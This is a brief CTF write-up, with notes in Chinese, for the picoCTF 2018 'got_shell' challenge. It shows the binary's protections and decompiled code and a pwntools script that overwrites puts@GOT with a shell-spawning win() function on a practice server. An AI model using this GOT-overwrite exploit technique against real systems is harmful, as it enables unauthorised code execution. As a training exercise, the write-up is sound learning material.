picoctf_2018_got_shell

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位，只开了NX

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // [esp+14h] [ebp-114h]
  int v4; // [esp+18h] [ebp-110h]
  char s; // [esp+1Ch] [ebp-10Ch]
  unsigned int v6; // [esp+11Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
  __isoc99_scanf("%x", &v3);
  sprintf(&s, "Okay, now what value would you like to write to 0x%x", v3);
  puts(&s);
  __isoc99_scanf("%x", &v4);
  sprintf(&s, "Okay, writing 0x%x to 0x%x", v4, v3);
  puts(&s);
  *v3 = v4;
  puts("Okay, exiting now...\n");
  exit(1);
}

int win()
{
  return system("/bin/sh");
}

有后门函数，并且主函数，是更改地址的程序

思路

最后有使用puts，(或者改exit都可以)，更改puts@got–>win函数即可

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29972,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')

sla(b'byte value?',hex(elf.got['puts']))
sla(b'like to write to',b'0x804854B')

ia()